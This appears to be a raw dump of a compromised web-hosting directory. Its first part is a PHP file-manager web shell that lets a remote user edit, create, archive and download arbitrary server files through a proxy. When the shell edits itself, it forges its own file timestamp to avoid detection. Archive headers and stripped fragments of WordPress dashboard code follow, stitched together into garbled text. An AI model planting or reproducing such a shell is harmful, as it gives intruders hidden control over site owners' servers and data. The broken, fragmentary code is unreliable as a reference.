)%i', '$1' . '' . $proxy_form, $result);
echo $result;
die;
}
}
?>
FileXXXXXXXXXXX
';
echo fm_tpl_form('php'), fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
' . strtoupper($res_lng) . ' ' . __('Result') . '' . $fun($res) . '
';
}
} elseif (!empty($_REQUEST['edit'])) {
if (!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) {
$msg_ntimes .= __('File updated');
} else {
$msg_ntimes .= __('Error occurred');
}
if ($_GET['edit'] == basename(__FILE__)) {
touch(__FILE__, 1415116371);
} else {
if (!empty($fm_config['restore_time'])) {
touch($fn, $filemtime);
}
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
';
foreach ($search_data as $filename) {
$msg_ntimes .= '' . basename($filename) . ' ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) {
if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created') . ' ' . $_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source) . '.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination)) {
$msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' ' . __('Delete') . '';
} else {
$msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
}
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source . '.tar';
$destination = basename($source) . '.tar';
if (is_file($archive)) {
unlink($archive);
}
if (is_file($archive . '.gz')) {
unlink($archive . '.gz');
}
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ, '.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive . '.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' ' . __('Delete') . '';
} else {
$msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
}
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source . '.tar';
$destination = basename($source) . '.tar';
if (is_file($archive)) {
unlink($archive);
}
if (is_file($archive . '.gz')) {
unlink($archive . '.gz');
}
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.', basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext = implode('.', $ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ, $ext . '.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive . '.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . rangkhwampanithan('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' ' . __('Delete') . '';
} else {
$msg_ntimes .= __('Error occurred') . ': ' . __('no khumfail');
}
}
?>
| |
|
|
|
|
' . $file . '';
$loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file);
$arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file);
$style = 'row2';
if (!fm_root($file)) {
$alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
} else {
$alert = '';
}
} else {
$link = $fm_config['show_img'] && @getimagesize($filename) ? ' ' . $file . '' : ' ' . $file . '';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file);
$arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '' . __('Delete') . '';
$renamelink = fm_root($file) ? '' : '' . __('Rename') . '';
$rightstext = $file == '.' || $file == '..' ? '' : '' . @fm_rights_string($filename) . '';
?>
|
|
|
|
|
|
|
|
Github |
.';
if (!empty($fm_config['show_php_ver'])) {
echo ' | PHP ' . phpversion();
}
if (!empty($fm_config['show_php_ini'])) {
echo ' | ' . php_ini_loaded_file();
}
if (!empty($fm_config['show_gt'])) {
echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2);
}
if (!empty($fm_config['enable_proxy'])) {
echo ' |
proxy';
}
if (!empty($fm_config['show_phpinfo'])) {
echo ' |
phpinfo';
}
if (!empty($fm_config['show_xls']) && !empty($link)) {
echo ' |
xls';
}
if (!empty($fm_config['fm_settings'])) {
echo ' |
' . __('Settings') . '';
}
?>
errors)) {
$this->errors = array();
}
}
function createArchive($file_list)
{
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) {
$newArchive = false;
} else {
$newArchive = true;
}
if ($newArchive) {
if (!$this->openWrite()) {
return false;
}
} else {
if (filesize($this->archive_name) == 0) {
return $this->openWrite();
}
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name . '.tmp')) {
$this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name . '.tmp', 'rb');
if (!$tmpArchive) {
$this->errors[] = $this->archive_name . '.tmp ' . __('is not readable');
rename($this->archive_name . '.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()) {
rename($this->archive_name . '.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)) {
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
} while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name . '.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) {
return false;
}
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list) > 0) {
$result = $this->packFileArray($file_list);
}
} else {
$this->errors[] = __('No file') . __(' to ') . __('Archive');
}
if ($result && is_resource($this->tmp_file)) {
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result) {
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path)
{
$fileName = $this->archive_name;
if (!$this->isGzipped) {
if (file_exists($fileName)) {
if ($fp = fopen($fileName, 'rb')) {
$data = fread($fp, 2);
fclose($fp);
if ($data == '\\37\\213') {
$this->isGzipped = true;
}
}
} elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') {
$this->isGzipped = true;
}
}
$result = true;
if ($this->isGzipped) {
$this->tmp_file = gzopen($fileName, 'rb');
} else {
$this->tmp_file = fopen($fileName, 'rb');
}
if (!$this->tmp_file) {
$this->errors[] = $fileName . ' ' . __('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors($message = '')
{
$Errors = $this->errors;
if (count($Errors) > 0) {
if (!empty($message)) {
$message = ' (' . $message . ')';
}
$message = __('Error occurred') . $message . ':
';
foreach ($Errors as $value) {
$message .= $value . '
';
}
return $message;
} else {
return '';
}
}
function packFileArray($file_array)
{
$result = true;
if (!$this->tmp_file) {
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array) <= 0) {
return true;
}
for ($i = 0; $i < count($file_array); $i++) {
$filename = $file_array[$i];
if ($filename == $this->archive_name) {
continue;
}
if (strlen($filename) <= 0) {
continue;
}
if (!file_exists($filename)) {
$this->errors[] = __('No file') . ' ' . $filename;
continue;
}
if (!$this->tmp_file) {
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename) <= 0) {
$this->errors[] = __('Filename') . ' ' . __('is incorrect');
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)) {
if (($file = fopen($filename, 'rb')) == 0) {
$this->errors[] = __('Mode ') . __('is incorrect');
}
if ($this->file_pos == 0) {
if (!$this->writeHeader($filename, $keep_filename)) {
return false;
}
}
while (($buffer = fread($file, 512)) != '') {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else {
$this->writeHeader($filename, $keep_filename);
}
if (@is_dir($filename)) {
if (!($handle = opendir($filename))) {
$this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))) {
if ($dir != '.' && $dir != '..') {
$file_array_tmp = array();
if ($filename != '.') {
$file_array_tmp[] = $filename . '/' . $dir;
} else {
$file_array_tmp[] = $dir;
}
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path)
{
$path = str_replace('\\', '/', $path);
if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) {
$path = './' . $path;
}
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0) {
if (!$this->readHeader($binaryData, $header)) {
return false;
}
if ($header['filename'] == '') {
continue;
}
if ($header['typeflag'] == 'L') {
//reading long header
$filename = '';
$decr = floor($header['size'] / 512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0) {
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) {
return false;
} else {
$header['filename'] = $filename;
}
return true;
}
if ($path != './' && $path != '/') {
while (substr($path, -1) == '/') {
$path = substr($path, 0, strlen($path) - 1);
}
if (substr($header['filename'], 0, 1) == '/') {
$header['filename'] = $path . $header['filename'];
} else {
$header['filename'] = $path . '/' . $header['filename'];
}
}
if (file_exists($header['filename'])) {
if (@is_dir($header['filename']) && $header['typeflag'] == '') {
$this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder');
return false;
}
if (is_file($header['filename']) && $header['typeflag'] == '5') {
$this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists');
return false;
}
if (!is_writeable($header['filename'])) {
$this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists');
return false;
}
} elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) {
$this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename'];
return false;
}
if ($header['typeflag'] == '5') {
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory') . ' ' . $header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file') . ' ' . $header['filename'];
return false;
} else {
$decr = floor($header['size'] / 512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if ($header['size'] % 512 != 0) {
$content = $this->readBlock();
fwrite($destination, $content, $header['size'] % 512);
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) {
$file_dir = '';
}
if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') {
$file_dir = '/';
}
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir)
{
$parent_dir = dirname($dir);
if (@is_dir($dir) or $dir == '') {
return true;
}
if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) {
return false;
}
if (!mkdir($dir, 0777)) {
$this->errors[] = __('Cannot create directory') . ' ' . $dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header)
{
if (strlen($binaryData) == 0) {
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512) {
$header['filename'] = '';
$this->__('Invalid block size') . ': ' . strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) {
$checksum += ord(substr($binaryData, $i, 1));
}
for ($i = 148; $i < 156; $i++) {
$checksum += ord(' ');
}
for ($i = 156; $i < 512; $i++) {
$checksum += ord(substr($binaryData, $i, 1));
}
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum) {
$header['filename'] = '';
if ($checksum == 256 && $header['checksum'] == 0) {
return true;
}
$this->errors[] = __('Error checksum for file ') . $unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') {
$header['size'] = 0;
}
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename)
{
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename) <= 0) {
$keep_filename = $filename;
}
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99) {
//write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++) {
$checksum += ord(substr($dataFirst, $i, 1));
}
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++) {
$checksum += ord(' ');
}
// Last part of the header
for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
$checksum += ord(substr($dataLast, $j, 1));
}
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)) {
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) {
$checksum += ord(substr($dataFirst, $i, 1));
}
for ($i = 148; $i < 156; $i++) {
$checksum += ord(' ');
}
for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
$checksum += ord(substr($dataLast, $j, 1));
}
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite()
{
if ($this->isGzipped) {
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
} else {
$this->tmp_file = fopen($this->archive_name, 'wb');
}
if (!$this->tmp_file) {
$this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name;
return false;
}
return true;
}
function readBlock()
{
if (is_resource($this->tmp_file)) {
if ($this->isGzipped) {
$block = gzread($this->tmp_file, 512);
} else {
$block = fread($this->tmp_file, 512);
}
} else {
$block = '';
}
return $block;
}
function writeBlock($data, $length = 0)
{
if (is_resource($this->tmp_file)) {
if ($length === 0) {
if ($this->isGzipped) {
gzputs($this->tmp_file, $data);
} else {
fputs($this->tmp_file, $data);
}
} else {
if ($this->isGzipped) {
gzputs($this->tmp_file, $data, $length);
} else {
fputs($this->tmp_file, $data, $length);
}
}
}
}
function closeTmpFile()
{
if (is_resource($this->tmp_file)) {
if ($this->isGzipped) {
gzclose($this->tmp_file);
} else {
fclose($this->tmp_file);
}
$this->tmp_file = 0;
}
}
function makeGoodPath($path)
{
if (strlen($path) > 0) {
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath) - 1;
for ($i = $els; $i >= 0; $i--) {
if ($partPath[$i] == '.') {
// Ignore this directory
} elseif ($partPath[$i] == '..') {
$i--;
} elseif ($partPath[$i] == '' and $i != $els and $i != 0) {
} else {
$result = $partPath[$i] . ($i != $els ? '/' . $result : '');
}
}
} else {
$result = '';
}
return $result;
}
} home/mybf1/public_html/class.bf1.my/wp-content/themes/index.php 0000644 00000000034 15122340147 0020413 0 ustar 00
home/mybf1/public_html/index.php 0000644 00000003160 15122340743 0012635 0 ustar 00 ' . __( 'Welcome to your WordPress Dashboard! This is the screen you will see when you log in to your site, and gives you access to all the site management features of WordPress. You can get help for any screen by clicking the Help tab above the screen title.' ) . '';
$screen = get_current_screen();
$screen->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $help,
)
);
// Help tabs.
$help = '' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '
';
$help .= '' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-navigation',
'title' => __( 'Navigation' ),
'content' => $help,
)
);
$help = '' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '
';
$help .= '' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '
';
$help .= '' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '
';
$help .= '' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '
';
$screen->add_help_tab(
array(
'id' => 'help-layout',
'title' => __( 'Layout' ),
'content' => $help,
)
);
$help = '' . __( 'The boxes on your Dashboard screen are:' ) . '
';
if ( current_user_can( 'edit_theme_options' ) ) {
$help .= '' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '
';
}
if ( current_user_can( 'view_site_health_checks' ) ) {
$help .= '' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '
';
}
if ( current_user_can( 'edit_posts' ) ) {
$help .= '' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '
';
}
$help .= '' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '
';
if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
$help .= '' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '
';
}
$help .= '' . sprintf(
/* translators: %s: WordPress Planet URL. */
__( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ),
__( 'https://planet.wordpress.org/' )
) . '
';
$screen->add_help_tab(
array(
'id' => 'help-content',
'title' => __( 'Content' ),
'content' => $help,
)
);
unset( $help );
$screen->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Dashboard' ) . '
' .
'' . __( 'Support' ) . '
'
);
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
user_email !== get_option( 'admin_email' ) ) );
if ( $hide ) {
$classes .= ' hidden';
}
?>
' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '';
$overview .= '' . __( 'From here you can:' ) . '
';
$overview .= '- ' . __( 'Add and manage sites or users' ) . '
';
$overview .= '- ' . __( 'Install and activate themes or plugins' ) . '
';
$overview .= '- ' . __( 'Update your network' ) . '
';
$overview .= '- ' . __( 'Modify global network settings' ) . '
';
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $overview,
)
);
$quick_tasks = '' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '
';
$quick_tasks .= '- ' . __( 'To add a new user, click Create a New User.' ) . '
';
$quick_tasks .= '- ' . __( 'To add a new site, click Create a New Site.' ) . '
';
$quick_tasks .= '' . __( 'To search for a user or site, use the search boxes.' ) . '
';
$quick_tasks .= '- ' . __( 'To search for a user, enter an email address or username. Use a wildcard to search for a partial username, such as user*.' ) . '
';
$quick_tasks .= '- ' . __( 'To search for a site, enter the path or domain.' ) . '
';
get_current_screen()->add_help_tab(
array(
'id' => 'quick-tasks',
'title' => __( 'Quick Tasks' ),
'content' => $quick_tasks,
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on the Network Admin' ) . '
' .
'' . __( 'Support forums' ) . '
'
);
wp_dashboard_setup();
wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
home/mybf1/public_html/sabun.bf1.my/wp-admin/images/index.php 0000644 00000000133 15122342762 0020021 0 ustar 00